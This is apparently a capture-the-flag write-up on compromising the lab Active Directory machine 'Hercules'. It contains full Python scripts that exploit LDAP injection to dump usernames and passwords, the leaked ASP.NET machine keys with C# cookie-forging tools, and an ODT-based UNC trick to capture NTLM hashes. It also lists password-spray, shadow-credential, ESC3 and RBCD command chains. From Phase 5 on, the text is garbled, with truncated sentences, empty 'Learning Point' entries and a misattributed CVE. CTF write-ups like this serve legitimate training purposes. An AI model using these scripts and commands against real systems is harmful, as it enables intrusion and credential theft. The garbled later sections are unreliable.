# Introduction
Hercules is an Insane-difficulty Windows Active Directory machine that demonstrates a complex attack chain involving LDAP injection, certificate-based attacks (ESC3), shadow credentials, and Resource-Based Constrained Delegation (RBCD). This writeup focuses on understanding each technique and why it works.
---
# Phase 1: Reconnaissance & Enumeration
# Initial Port Scan
nmap -p- -sCV -T4 10.10.11.91 -oN nmap_full.txt
Key Findings:
- **Port 53 (DNS)**: Domain Controller
- **Port 88 (Kerberos)**: Authentication service
- **Port 389/636 (LDAP/LDAPS)**: Directory services
- **Port 443 (HTTPS)**: Web application at `https://hercules.htb`
- **Port 5986 (WinRM SSL)**: Remote management
Learning Point: These ports indicate a Windows Active Directory Domain Controller. The presence of HTTPS suggests a web application integrated with AD authentication.
# Host Configuration
# Add to /etc/hosts (DC hostname MUST come first for Kerberos SPN resolution)
echo "10.10.11.91 dc.hercules.htb hercules.htb" | sudo tee -a /etc/hosts
Why this order matters: When LDAP/Kerberos clients resolve hostnames, the PRIMARY hostname determines the Service Principal Name (SPN). ldap/dc.hercules.htb@HERCULES.HTB will work, but ldap/hercules.htb@HERCULES.HTB will fail.
---
# Phase 2: LDAP Injection - Username Enumeration
# Understanding the Vulnerability
The SSO login page at https://hercules.htb/login uses LDAP authentication with flawed input validation:
Vulnerable Regex Pattern:
data-val-regex-pattern="[!\"'<>]"
Critical Omission: The regex blocks !, \", ', <, > but fails to block:
- `*` (wildcard)
- `)` (closes LDAP filter)
- `(` (opens new condition)
This allows LDAP filter injection: (sAMAccountName=INPUT) becomes (sAMAccountName=test*)(description=*))
# High-Speed Concurrent Username Enumerator
Create ldap_username_enum.py:
#!/usr/bin/env python3
# HIGH-SPEED CONCURRENT LDAP USERNAME ENUMERATOR
# Optimized for maximum speed with parallel BFS traversal
import asyncio
import httpx
import re
from collections import deque
import time
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
BASE = "https://hercules.htb"
LOGIN_PATH = "/Login"
LOGIN_PAGE = "/login"
TARGET_URL = BASE + LOGIN_PATH
VERIFY_TLS = False
USERNAME_FIELD = "Username"
PASSWORD_FIELD = "Password"
REMEMBER_FIELD = "RememberMe"
CSRF_FORM_FIELD = "__RequestVerificationToken"
PASSWORD_TO_SEND = "test"
DOUBLE_URL_ENCODE = True
# HIGH PERFORMANCE SETTINGS
CONCURRENT_TESTS = 20 # Test 20 usernames simultaneously
MAX_SEMAPHORE = 25 # Global connection limit
REQUEST_DELAY = 0.05 # Minimal delay between requests
BATCH_DELAY = 0.1 # Delay between batches
# Optimized charset - prioritize common starting letters
CHARSET = list("abcdefghijklmnopqrstuvwxyz0123456789.-_@")
PRIORITY_CHARS = list("abcdefghjklmnprstw") # Common AD username starts
MAX_USERNAME_LENGTH = 64
SUCCESS_INDICATOR = "Login attempt failed"
TOKEN_RE = re.compile(
r'^>]*name=["\']__RequestVerificationToken["\'][^>]*value=["\'["\']',
re.IGNORECASE | re.DOTALL
)
class HighSpeedUsernameEnumerator:
def __init__(self):
self.valid_users = set()
self.request_count = 0
self.start_time = time.time()
self.global_semaphore = asyncio.Semaphore(MAX_SEMAPHORE)
def prepare_username_payload(self, username: str, use_wildcard: bool = False) -> str:
"""Prepare username for LDAP injection"""
if use_wildcard:
username = username + '*'
if DOUBLE_URL_ENCODE:
username = ''.join(f'%{byte:02X}' for byte in username.encode('utf-8'))
return username
async def get_token_and_cookies(self, client):
"""Fetch CSRF token with proper regex"""
try:
response = await client.get(BASE + LOGIN_PAGE)
token = None
if "__RequestVerificationToken" in response.cookies:
token = response.cookies["__RequestVerificationToken"]
match = TOKEN_RE.search(response.text)
if match:
token = match.group(1)
return token, dict(response.cookies)
except Exception as e:
return None, {}
async def test_username_fast(self, username: str, use_wildcard: bool = False):
"""Fast username test with connection pooling"""
async with self.global_semaphore:
async with httpx.AsyncClient(
verify=VERIFY_TLS,
headers={
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5",
"Referer": BASE + LOGIN_PAGE,
"Origin": BASE,
"Content-Type": "application/x-www-form-urlencoded",
},
timeout=15.0,
limits=httpx.Limits(max_connections=30, max_keepalive_connections=20)
) as client:
token, cookies = await self.get_token_and_cookies(client)
if not token:
return False
username_payload = self.prepare_username_payload(username, use_wildcard)
data = {
USERNAME_FIELD: username_payload,
PASSWORD_FIELD: PASSWORD_TO_SEND,
REMEMBER_FIELD: "false",
CSRF_FORM_FIELD: token
}
try:
response = await client.post(
TARGET_URL,
data=data,
cookies=cookies,
follow_redirects=False
)
self.request_count += 1
# Filter app pool accounts
if 'appp' in response.text.lower():
return False
return SUCCESS_INDICATOR in response.text
except Exception as e:
return False
async def test_batch_concurrent(self, usernames, use_wildcard=False):
"""
CONCURRENT BATCH TESTING
Test multiple usernames simultaneously
"""
async def test_wrapper(username):
"""Wrapper for single test with delay"""
result = await self.test_username_fast(username, use_wildcard)
await asyncio.sleep(REQUEST_DELAY)
return username, result
if not usernames:
return {}
# Run all tests concurrently
tasks = [test_wrapper(username) for username in usernames]
results_list = await asyncio.gather(*tasks)
# Convert to dict
results = {username: is_valid for username, is_valid in results_list}
return results
async def discover_first_chars_fast(self):
"""
CONCURRENT FIRST CHARACTER DISCOVERY
Test all starting characters at once
"""
print(f"[*] Testing {len(CHARSET)} starting characters concurrently...")
# Test priority chars first (common AD usernames)
print(f"[*] Testing {len(PRIORITY_CHARS)} priority characters...")
priority_results = await self.test_batch_concurrent(PRIORITY_CHARS, use_wildcard=True)
priority_valid = [char for char in PRIORITY_CHARS if priority_results.get(char, False)]
if priority_valid:
print(f"[+] Priority chars found: {''.join(priority_valid)}")
# Test remaining chars
remaining_chars = [c for c in CHARSET if c not in PRIORITY_CHARS]
print(f"[*] Testing {len(remaining_chars)} remaining characters...")
remaining_results = await self.test_batch_concurrent(remaining_chars, use_wildcard=True)
remaining_valid = [char for char in remaining_chars if remaining_results.get(char, False)]
if remaining_valid:
print(f"[+] Additional chars found: {''.join(remaining_valid)}")
valid_chars = priority_valid + remaining_valid
print(f"[+] Total valid first characters: {''.join(valid_chars)}")
return valid_chars
async def extend_username_concurrent(self, prefix):
"""
CONCURRENT USERNAME EXTENSION
Test all possible next characters simultaneously
"""
if len(prefix) >= MAX_USERNAME_LENGTH:
return []
candidates = [prefix + char for char in CHARSET]
# Test all candidates concurrently
results = await self.test_batch_concurrent(candidates, use_wildcard=True)
valid_extensions = [candidate for candidate in candidates if results.get(candidate, False)]
return valid_extensions
async def verify_exact_username(self, username):
"""Verify username without wildcard"""
return await self.test_username_fast(username, use_wildcard=False)
async def bfs_discover_concurrent(self):
"""
HIGH-SPEED BFS DISCOVERY
Process multiple prefix branches concurrently
"""
print("[*] Starting concurrent BFS username discovery...")
# Get starting characters
queue = deque(await self.discover_first_chars_fast())
if not queue:
print("[!] No valid starting characters found!")
return []
discovered_prefixes = set(queue)
complete_usernames = set()
level = 0
while queue:
level += 1
level_size = len(queue)
print(f"\n[*] Level {level}: Processing {level_size} prefixes")
# Process entire level concurrently
current_level = list(queue)
queue.clear()
# Split into batches for progress tracking
batch_size = CONCURRENT_TESTS
for i in range(0, len(current_level), batch_size):
batch = current_level[i:i+batch_size]
print(f" [*] Batch {i//batch_size + 1}/{(len(current_level)-1)//batch_size + 1}: {len(batch)} prefixes", end=" ")
# Extend all prefixes in batch concurrently
extension_tasks = [self.extend_username_concurrent(prefix) for prefix in batch]
extension_results = await asyncio.gather(*extension_tasks)
found_in_batch = 0
for prefix, extensions in zip(batch, extension_results):
if not extensions:
# No extensions = complete username, verify it
if await self.verify_exact_username(prefix):
if prefix not in complete_usernames:
complete_usernames.add(prefix)
found_in_batch += 1
print(f"\n [✓] FOUND: {prefix}")
else:
# Add new extensions to queue
for extension in extensions:
if extension not in discovered_prefixes:
discovered_prefixes.add(extension)
queue.append(extension)
print(f"-> {found_in_batch} users")
await asyncio.sleep(BATCH_DELAY)
# Progress summary
elapsed = time.time() - self.start_time
rate = self.request_count / elapsed if elapsed > 0 else 0
print(f" [+] Level {level} complete: {len(complete_usernames)} users found")
print(f" [+] Requests: {self.request_count} ({rate:.1f} req/s)")
print(f" [+] Next level: {len(queue)} prefixes to test")
if level > MAX_USERNAME_LENGTH:
print("[!] Reached maximum depth")
break
return sorted(complete_usernames)
async def main():
enumerator = HighSpeedUsernameEnumerator()
print("=" * 60)
print("HIGH-SPEED CONCURRENT LDAP USERNAME ENUMERATOR")
print("=" * 60)
print(f"[*] Concurrent tests: {CONCURRENT_TESTS}")
print(f"[*] Global request limit: {MAX_SEMAPHORE}")
print(f"[*] Charset size: {len(CHARSET)}")
print(f"[*] Max username length: {MAX_USERNAME_LENGTH}")
print("=" * 60)
try:
results = await enumerator.bfs_discover_concurrent()
elapsed = time.time() - enumerator.start_time
print("\n" + "=" * 60)
print("DISCOVERY COMPLETE")
print("=" * 60)
print(f"[+] Time elapsed: {elapsed:.2f} seconds")
print(f"[+] Total requests: {enumerator.request_count}")
print(f"[+] Requests/sec: {enumerator.request_count/elapsed:.2f}")
print(f"[+] Usernames found: {len(results)}")
if results:
print("\n[+] VALID USERNAMES:")
for i, username in enumerate(results, 1):
print(f" {i:2d}. {username}")
# Save results
with open("usernames.txt", "w") as f:
for username in results:
f.write(f"{username}\n")
print(f"\n[+] Saved to usernames.txt")
# Performance stats
print("\n[+] PERFORMANCE STATS:")
print(f" Average: {elapsed/len(results):.2f} seconds per user")
print(f" Rate: {len(results)/(elapsed/60):.1f} users per minute")
else:
print("[-] No usernames found")
except KeyboardInterrupt:
print("\n[!] Interrupted by user")
if enumerator.valid_users:
print("[+] Usernames found so far:")
for username in sorted(enumerator.valid_users):
print(f" {username}")
print(f"[*] Requests made: {enumerator.request_count}")
except Exception as e:
print(f"[!] Error: {e}")
import traceback
traceback.print_exc()
if __name__ == "__main__":
asyncio.run(main())
Run the enumerator:
python3 ldap_username_enum.py
Learning Point: The BFS (Breadth-First Search) approach with concurrent testing is efficient because:
1. Each level tests characters in parallel (20 at once)
2. Wildcard matching identifies valid prefixes quickly
3. No wildcard match indicates a complete username
Expected Output: 33 valid usernames including admin, auditor, ken.w, natalie.a, etc.
---
# Phase 3: LDAP Injection - Password Extraction
# Understanding Description Field Extraction
Active Directory user objects have a description field often used by administrators to store notes. In misconfigured environments, passwords are sometimes stored here.
LDAP Filter Injection:
(sAMAccountName=johnathan.j*)(description=c*) # Tests if description starts with 'c'
# High-Speed Password Extractor
Create ldap_password_extract.py:
#!/usr/bin/env python3
# LDAP Injection - High-Speed Concurrent Password Extractor
# Optimized for maximum speed with concurrent character testing
import asyncio
import httpx
import re
import string
import urllib3
from collections import deque
import time
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
BASE = "https://hercules.htb"
LOGIN_PATH = "/Login"
LOGIN_PAGE = "/login"
TARGET_URL = BASE + LOGIN_PATH
VERIFY_TLS = False
USERNAME_FIELD = "Username"
PASSWORD_FIELD = "Password"
REMEMBER_FIELD = "RememberMe"
CSRF_FORM_FIELD = "__RequestVerificationToken"
PASSWORD_TO_SEND = "test"
DOUBLE_URL_ENCODE = True
# HIGH PERFORMANCE SETTINGS
CONCURRENT_CHAR_TESTS = 15 # Test 15 characters at once
CONCURRENT_USER_TESTS = 3 # Test 3 users simultaneously
MAX_SEMAPHORE = 20 # Global request limit
CHAR_DELAY = 0.05 # Minimal delay between char tests
USER_DELAY = 0.1 # Minimal delay between users
# Optimized charset - common first
OPTIMIZED_CHARSET = (
"acteh" + # Most common starting chars
string.ascii_lowercase + # a-z
string.digits + # 0-9
string.ascii_uppercase + # A-Z
"!@#*()-_." + # Common special chars
",;:?<>[]{}+=\\|'\"`~^%&/" # Less common
)
MAX_PASSWORD_LENGTH = 50
VERBOSE = True
DEBUG = False
SUCCESS_INDICATOR = "Login attempt failed"
TOKEN_RE = re.compile(
r'^>]*name=["\']__RequestVerificationToken["\'][^>]*value=["\'["\']',
re.IGNORECASE | re.DOTALL
)
KNOWN_USERS = [
"johnathan.j", "ken.w", "admin", "administrator", # Priority
"adriana.i", "angelo.o", "ashley.b", "auditor", "bob.w",
"camilla.b", "clarissa.c", "elijah.m", "fiona.c", "heather.s",
"jacob.b", "jennifer.a", "jessica.e", "joel.c", "johanna.f",
"mark.s", "natalie.a", "nate.h", "patrick.s", "ramona.l",
"ray.n", "rene.s", "stephanie.w", "stephen.m", "tanya.r",
"tish.c", "vincent.g", "will.s", "zeke.s"
]
class HighSpeedLDAPExtractor:
def __init__(self):
self.extracted_passwords = {}
self.request_count = 0
self.start_time = time.time()
self.global_semaphore = asyncio.Semaphore(MAX_SEMAPHORE)
self.charset = OPTIMIZED_CHARSET
def escape_ldap_filter_value(self, value):
"""Escape LDAP special characters"""
escape_map = {
'\\': r'\5c',
'*': r'\2a',
'(': r'\28',
')': r'\29',
'\x00': r'\00',
'/': r'\2f',
}
result = value
for char, escape_seq in escape_map.items():
result = result.replace(char, escape_seq)
return result
def prepare_injection(self, username, desc_prefix, mode="wildcard"):
"""Prepare LDAP injection payload"""
escaped = self.escape_ldap_filter_value(desc_prefix)
if mode == "wildcard" and escaped:
payload = f"{username}*)(description={escaped}*"
elif mode == "exact" and escaped:
payload = f"{username}*)(description={escaped}"
elif mode == "exists":
payload = f"{username}*)(description=*"
else:
payload = f"{username}*)(description={escaped}*"
if DOUBLE_URL_ENCODE:
payload = ''.join(f'%{byte:02X}' for byte in payload.encode('utf-8'))
return payload
async def get_token_and_cookies(self, client):
"""Fetch CSRF token"""
try:
response = await client.get(BASE + LOGIN_PAGE)
token = None
if "__RequestVerificationToken" in response.cookies:
token = response.cookies["__RequestVerificationToken"]
match = TOKEN_RE.search(response.text)
if match:
token = match.group(1)
return token, dict(response.cookies)
except Exception as e:
if DEBUG:
print(f"[!] Token error: {e}")
return None, {}
async def test_injection_fast(self, username, desc_prefix, mode="wildcard"):
"""Fast injection test with connection pooling"""
async with self.global_semaphore:
async with httpx.AsyncClient(
verify=VERIFY_TLS,
timeout=15.0,
limits=httpx.Limits(max_connections=30, max_keepalive_connections=20)
) as client:
token, cookies = await self.get_token_and_cookies(client)
if not token:
return False
payload = self.prepare_injection(username, desc_prefix, mode)
data = {
USERNAME_FIELD: payload,
PASSWORD_FIELD: PASSWORD_TO_SEND,
REMEMBER_FIELD: "false",
CSRF_FORM_FIELD: token
}
try:
response = await client.post(TARGET_URL, data=data, cookies=cookies)
self.request_count += 1
return SUCCESS_INDICATOR in response.text
except:
return False
async def check_has_description(self, username):
"""Check if user has description field"""
return await self.test_injection_fast(username, "", "exists")
async def find_next_char_concurrent(self, username, known_prefix):
"""
CONCURRENT CHARACTER TESTING
Test multiple characters at the same time
"""
async def test_char(char):
"""Test single character"""
test_prefix = known_prefix + char
result = await self.test_injection_fast(username, test_prefix, "wildcard")
await asyncio.sleep(CHAR_DELAY)
return char, result
# Split charset into batches for concurrent testing
found_chars = []
# Test all characters concurrently in batches
for i in range(0, len(self.charset), CONCURRENT_CHAR_TESTS):
batch = self.charset[i:i+CONCURRENT_CHAR_TESTS]
# Run batch concurrently
tasks = [test_char(char) for char in batch]
results = await asyncio.gather(*tasks)
# Collect found characters
for char, is_valid in results:
if is_valid:
found_chars.append(char)
if VERBOSE:
print(f" [+] Found: '{char}' at position {len(known_prefix)}")
# Return first found character (usually only one)
return found_chars[0] if found_chars else None
async def extract_password_fast(self, username):
"""
FAST PASSWORD EXTRACTION
Uses concurrent character testing
"""
print("=" * 50)
print(f"[*] Extracting: {username}")
# Check description exists
if not await self.check_has_description(username):
print(f"[-] No description for {username}")
return None
print(f"[+] Description exists for {username}")
password = ""
no_char_count = 0
for position in range(MAX_PASSWORD_LENGTH):
print(f"[*] Position {position}...", end=" ", flush=True)
# CONCURRENT character search
char = await self.find_next_char_concurrent(username, password)
if char is None:
no_char_count += 1
print("✗")
if no_char_count >= 2:
print(f"[+] Password complete at {position} chars")
break
else:
password += char
no_char_count = 0
print(f"✓ '{char}' -> {password}")
# Verify every 5 characters
if len(password) % 5 == 0 and len(password) > 0:
if not await self.test_injection_fast(username, password, "wildcard"):
print(f"[!] Verification failed at position {position}!")
break
if password:
print(f"[✓] COMPLETE: {username} = {password}")
return password
return None
async def extract_multiple_users(self, usernames):
"""
CONCURRENT USER EXTRACTION
Process multiple users simultaneously
"""
async def extract_user_wrapper(username):
"""Wrapper to handle individual user extraction"""
result = await self.extract_password_fast(username)
if result:
self.extracted_passwords[username] = result
# Save immediately
with open("extracted_passwords.txt", "a") as f:
f.write(f"{username}:{result}\n")
await asyncio.sleep(USER_DELAY)
return username, result
# Process users in concurrent batches
all_results = []
for i in range(0, len(usernames), CONCURRENT_USER_TESTS):
batch = usernames[i:i+CONCURRENT_USER_TESTS]
print(f"\n[*] Processing batch {i//CONCURRENT_USER_TESTS + 1}: {', '.join(batch)}")
tasks = [extract_user_wrapper(user) for user in batch]
batch_results = await asyncio.gather(*tasks)
all_results.extend(batch_results)
# Show progress
found = len(self.extracted_passwords)
print(f"\n[+] Progress: {found}/{len(usernames)} passwords found")
return all_results
async def main():
extractor = HighSpeedLDAPExtractor()
print("=" * 60)
print("HIGH-SPEED CONCURRENT LDAP PASSWORD EXTRACTOR")
print("=" * 60)
print(f"[*] Concurrent char tests: {CONCURRENT_CHAR_TESTS}")
print(f"[*] Concurrent user tests: {CONCURRENT_USER_TESTS}")
print(f"[*] Global request limit: {MAX_SEMAPHORE}")
print(f"[*] Charset size: {len(OPTIMIZED_CHARSET)}")
print(f"[*] Target users: {len(KNOWN_USERS)}")
print("=" * 60)
try:
await extractor.extract_multiple_users(KNOWN_USERS)
elapsed = time.time() - extractor.start_time
print("\n" + "=" * 60)
print("EXTRACTION COMPLETE")
print("=" * 60)
print(f"[+] Time elapsed: {elapsed:.2f} seconds")
print(f"[+] Total requests: {extractor.request_count}")
print(f"[+] Requests/sec: {extractor.request_count/elapsed:.2f}")
print(f"[+] Passwords found: {len(extractor.extracted_passwords)}")
if extractor.extracted_passwords:
print("\n[+] EXTRACTED CREDENTIALS:")
for user, pwd in sorted(extractor.extracted_passwords.items()):
print(f" {user}:{pwd}")
# Save final
with open("final_passwords.txt", "w") as f:
for user, pwd in sorted(extractor.extracted_passwords.items()):
f.write(f"{user}:{pwd}\n")
print(f"\n[+] Saved to final_passwords.txt")
else:
print("[-] No passwords extracted")
except KeyboardInterrupt:
print("\n[!] Interrupted")
if extractor.extracted_passwords:
print("[+] Passwords found so far:")
for user, pwd in extractor.extracted_passwords.items():
print(f" {user}:{pwd}")
except Exception as e:
print(f"[!] Error: {e}")
import traceback
traceback.print_exc()
if __name__ == "__main__":
asyncio.run(main())
Run extractor:
python3 ldap_password_extract.py
Expected Output:
johnathan.j:change*th1s_p@ssw()rd!!
Learning Point: The password contains special characters *, (, ), ! which must be properly escaped in LDAP filters using hex encoding (\2a for *, etc.). The concurrent approach tests 15 characters simultaneously, drastically reducing extraction time from hours to minutes.
---
# Phase 4: Password Spray & Initial Access
# Kerberos Password Spraying
# Download kerbrute
wget https://github.com/ropnop/kerbrute/releases/download/v1.0.3/kerbrute_linux_amd64
chmod +x kerbrute_linux_amd64
# Password spray
./kerbrute_linux_amd64 passwordspray -d hercules.htb --dc 10.10.11.91 \
usernames.txt 'change*th1s_p@ssw()rd!!'
Output:
[+] VALID LOGIN: ken.w@hercules.htb:change*th1s_p@ssw()rd!!
Learning Point: Password spraying attempts one password against many accounts. This is stealthier than brute-forcing one account with many passwords, as it avoids account lockout policies. The extracted password from johnathan.j's description field is reused by ken.w.
---
# Phase 5: Web Exploitation — Directory Traversal, Machine Key Extraction, Cookie Forgery, and NTLM Capture
After authenticating as ken.w, discovered a file download function vulnerable to directory traversal.
# Directory Traversal in File Download
Normal Request:
https://hercules.htb/Home/Download?fileName=registration.pdf
Malicious Request (directory traversal):
https://hercules.htb/Home/Download?fileName=..\..\web.config
Note: In the application the traversal was achieved by manipulating the `fileName` parameter (double-encoded or with `.`/`..` sequences depending on the filter). The above example shows the end goal: retrieving `web.config`.
# Machine Key Extraction
The directory traversal successfully retrieved the web.config file which contained the ASP.NET machine keys used to protect Forms Authentication tickets:
decryption="AES" decryptionKey="B26C371EA0A71FA5C3C9AB53A343E9B962CD947CD3EB5861EDAE4CCC6B019581" validation="HMACSHA256" validationKey="EBF9076B4E3026BE6E3AD58FB72FF9FAD5F7134B42AC73822C5F3EE159F20214B73A80016F9DDB56BD194C268870845F7A60B39DEF96B553A022F1BA56A18B80" /> These keys allow decryption and forging of ASP.NET forms authentication cookies for the application. With the machine keys, I created small C# utilities to decrypt existing authentication cookies and to forge new ones. App.config (used by both projects): validationKey="EBF9076B4E3026BE6E3AD58FB72FF9FAD5F7134B42AC73822C5F3EE159F20214B73A80016F9DDB56BD194C268870845F7A60B39DEF96B553A022F1BA56A18B80" decryptionKey="B26C371EA0A71FA5C3C9AB53A343E9B962CD947CD3EB5861EDAE4CCC6B019581" validation="HMACSHA256" decryption="AES" /> Decryption Tool (FormsTicketCrypt): using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Web; using System.Web.Security; namespace FormsTicketCrypt { class Program { static void Main(string[] args) { // Test if input arguments were supplied. if (args.Length == 0) { Console.WriteLine("Please supply encrypted forms ticket"); return; } string encryptedTicket = args[0]; FormsAuthenticationTicket unencryptedTicket = FormsAuthentication.Decrypt(encryptedTicket); Console.WriteLine(unencryptedTicket.Version); Console.WriteLine(unencryptedTicket.Name); Console.WriteLine(unencryptedTicket.IssueDate); Console.WriteLine(unencryptedTicket.Expiration); Console.WriteLine(unencryptedTicket.IsPersistent); Console.WriteLine(unencryptedTicket.UserData); Console.WriteLine(unencryptedTicket.CookiePath); Console.ReadLine(); } } } Encryption Tool (FormsEncryptor): using System; using System.Web.Security; namespace FormsEncryptor { class Program { static void Main(string[] args) { // Take an existing forms cookie string encryptedTicket = "E6144BAF6A52D21C245C97C261FCB74EB3A7D83EC6F2EDF940DA34C7A154FF53E7F4F27C87A338F0BB428C1B61C1777F0C0BFDCE6D784D238AF5BCFEA0B35FEB5630242023BB507E319E4F9F75DAC97B7D593F027844B935B2CCB675A0F7EEDA68E0111F2E2811C2838D77B9CD03050C557833B66972A5E85B42459EFFB4B2F66D724F050E3B904F9C79CD04251138316FC899303C5537826AE6513204A7186D"; string replacedUsername = "web_admin"; string newRole = "Web Administrators"; FormsAuthenticationTicket unencryptedTicket = FormsAuthentication.Decrypt(encryptedTicket); FormsAuthenticationTicket ticket = new FormsAuthenticationTicket(1, //unencryptedTicket.Name, //comment out if you want to change the username replacedUsername, //uncomment if you want to change the username DateTime.Now, DateTime.Now.AddMinutes(120000000), // Add 120 minutes to expiry unencryptedTicket.IsPersistent, newRole, "/"); string encTicket = FormsAuthentication.Encrypt(ticket); Console.WriteLine(encTicket); } } } Using these tools I successfully forged a With Attack Process: 1. Created malicious ODT file with UNC path pointing to attacker machine 2. Uploaded file through web interface 3. Automated system opened file, triggering NTLM authentication 4. Captured NTLMv2 hash using Responder REPO For ODT Generator: https://github.com/lof1sec/Bad-ODF Captured Hash (example): natalie.a::HERCULES:HASH HIDDEN Cracked Credentials (example): hashcat -m 5600 hashes /usr/share/wordlists/rockyou.txt Note: In the writeup the exact captured hash string was omitted for safety; the cracked password used for subsequent steps is `Prettyprincess123!`. Learning Point: This demonstrates a supply-chain style attack. If an organization automatically opens or processes uploaded documents, attackers can leverage Windows' automatic authentication to UNC paths to capture hashes. Mitigations include disabling automatic UNC authentication for document handlers, restricting file types, and isolating document-processing services. --- Shadow Credentials (CVE-2021-42278/42287) exploits the Prerequisites: Step 1: Get Kerberos TGT for natalie.a impacket-getTGT 'HERCULES.HTB/natalie.a:Prettyprincess123!' -dc-ip 10.10.11.91 export KRB5CCNAME=$(pwd)/natalie.a.ccache klist Step 2: Shadow Credentials on bob.w certipy-ad shadow auto -u natalie.a@hercules.htb -p 'Prettyprincess123!' \ -dc-ip 10.10.11.91 -target dc.hercules.htb -account bob.w \ -dc-host dc.hercules.htb Learning Point: The 1. Generates a self-signed certificate 2. Adds the certificate to bob.w's 3. Requests a TGT using certificate authentication (PKINIT) 4. Extracts the NT hash from the TGT Step 3: Enumerate bob.w's Permissions export KRB5CCNAME=$(pwd)/bob.w.ccache bloodyAD -d hercules.htb -u bob.w --host dc.hercules.htb -k get writable Expected: bob.w has write permissions on multiple OUs including Security Department. Step 4: Move Auditor to Web Department Why move Auditor? The permissions structure requires Auditor to be in Web Department OU for Configure Kerberos: sudo tee -a /etc/krb5.conf > /dev/null << 'EOF' [realms] HERCULES.HTB = { kdc = dc.hercules.htb admin_server = dc.hercules.htb } [domain_realm] .hercules.htb = HERCULES.HTB hercules.htb = HERCULES.HTB EOF Create LDIF file: cat > move_auditor.ldif << 'EOF' dn: CN=Auditor,OU=Security Department,OU=DCHERCULES,DC=hercules,DC=htb changetype: modrdn newrdn: CN=Auditor deleteoldrdn: 1 newsuperior: OU=Web Department,OU=DCHERCULES,DC=hercules,DC=htb EOF Execute move: export KRB5CCNAME=$(pwd)/bob.w.ccache ldapmodify -Y GSSAPI -H ldap://dc.hercules.htb -f move_auditor.ldif Learning Point: LDAP Step 5: Shadow Credentials on Auditor export KRB5CCNAME=$(pwd)/natalie.a.ccache certipy-ad shadow auto -u natalie.a@hercules.htb -p 'Prettyprincess123!' \ -dc-ip 10.10.11.91 -target dc.hercules.htb -account auditor \ -dc-host dc.hercules.htb Step 6: WinRM as Auditor - Get User Flag curl -L -o winrmexec.py https://raw.githubusercontent.com/ozelis/winrmexec/main/winrmexec.py export KRB5CCNAME=$(pwd)/auditor.ccache python3 winrmexec.py -ssl -port 5986 -k hercules.htb/auditor@dc.hercules.htb -no-pass In PowerShell: PS C:\Users\auditor\Desktop> type user.txt Learning Point: WinRM over HTTPS (port 5986) provides encrypted remote management. The --- This complex chain involves: 1. OU permissions manipulation 2. ESC3 certificate attack 3. Service account chain exploitation 4. Resource-Based Constrained Delegation (RBCD) Open NEW terminal (keep WinRM session open): cd ~/Downloads export KRB5CCNAME=$(pwd)/auditor.ccache bloodyAD --host dc.hercules.htb -d hercules.htb -k --dc-ip 10.10.11.91 \ add genericAll "OU=FOREST MIGRATION,OU=DCHERCULES,DC=hercules,DC=htb" auditor Learning Point: ⚠️ Critical: A cleanup script runs every ~10 minutes and resets these permissions. If you encounter access denied errors later, re-run this command. In WinRM session as auditor: Enable-ADAccount -Identity fernando.r Set-ADUser fernando.r -Enabled $true Set-ADAccountPassword -Identity fernando.r ` -NewPassword (ConvertTo-SecureString "Pwned123!" -AsPlainText -Force) -Reset Get-ADUser fernando.r | Select-Object Enabled Learning Point: Understanding ESC3: ESC3 (Enrollment Agent Abuse) is a misconfiguration where: 1. A certificate template allows enrollment agent functionality 2. Another template allows specifying a subject alternative name 3. An attacker with enrollment agent cert can request certificates for ANY user Step A: Request Enrollment Agent Certificate impacket-getTGT 'HERCULES.HTB/fernando.r:Pwned123!' -dc-ip 10.10.11.91 export KRB5CCNAME=$(pwd)/fernando.r.ccache certipy-ad req -u FERNANDO.R@hercules.htb -target dc.hercules.htb \ -ca 'CA-HERCULES' -template 'EnrollmentAgent' -k -dc-ip 10.10.11.91 Step B: Request Certificate on Behalf of ashley.b certipy-ad req -u FERNANDO.R@hercules.htb -target dc.hercules.htb \ -ca 'CA-HERCULES' -template 'UserSignature' -k -dc-ip 10.10.11.91 \ -pfx 'fernando.r.pfx' -on-behalf-of 'hercules\ASHLEY.B' \ -dc-host dc.hercules.htb certipy-ad req -u FERNANDO.R@hercules.htb -target dc.hercules.htb \ -ca 'CA-HERCULES' -retrieve 6 -k -dc-ip 10.10.11.91 Step C: Authenticate as ashley.b certipy-ad auth -pfx ashley.b.pfx -dc-ip 10.10.11.91 Learning Point: ESC3 is critical because: export KRB5CCNAME=$(pwd)/auditor.ccache bloodyAD -d hercules.htb -u auditor -k --host dc.hercules.htb \ add genericAll "OU=Forest Migration,OU=DCHERCULES,DC=hercules,DC=htb" "IT Support" ⚠️ Re-run if cleanup script resets permissions. export KRB5CCNAME=$(pwd)/ashley.b.ccache python3 winrmexec.py -ssl -port 5986 -k \ hercules.htb/ashley.b@dc.hercules.htb -no-pass In PowerShell as ashley.b: cd Desktop ./aCleanup.ps1 Enable-ADAccount -Identity IIS_Administrator Set-ADUser IIS_Administrator -Enabled $true Set-ADAccountPassword -Identity IIS_Administrator -NewPassword (ConvertTo-SecureString "Pwned123!" -AsPlainText -Force) -Reset Get-ADUser IIS_Administrator | Select-Object Enabled Back in Kali terminal: impacket-getTGT 'hercules.htb/IIS_Administrator:Pwned123!' -dc-ip 10.10.11.91 export KRB5CCNAME=$(pwd)/IIS_Administrator.ccache bloodyAD --host dc.hercules.htb -d hercules.htb -u 'IIS_Administrator' -k \ set password "IIS_webserver$" Pwned123! pypykatz crypto nt 'Pwned123!' impacket-getTGT 'hercules.htb/IIS_WEBSERVER$' -hashes :58a478135a93ac3bf058a5ea0e8fdb71 -dc-ip 10.10.11.91 export KRB5CCNAME=$(pwd)/IIS_WEBSERVER\$.ccache impacket-describeTicket IIS_WEBSERVER\$.ccache | grep 'Ticket Session Key' impacket-changepasswd -newhashes :SESSION_KEY_HERE \ hercules.htb/IIS_WEBSERVER$:'Pwned123!'@dc.hercules.htb -k impacket-getST -u2u -impersonate Administrator \ -spn "HOST/dc.hercules.htb" -k -no-pass \ hercules.htb/IIS_WEBSERVER$ -dc-ip 10.10.11.91 ls -lh Administrator@HOST_dc.hercules.htb@HERCULES.HTB.ccache export KRB5CCNAME=$(pwd)/Administrator@HOST_dc.hercules.htb@HERCULES.HTB.ccache python3 winrmexec.py -ssl -port 5986 -k \ 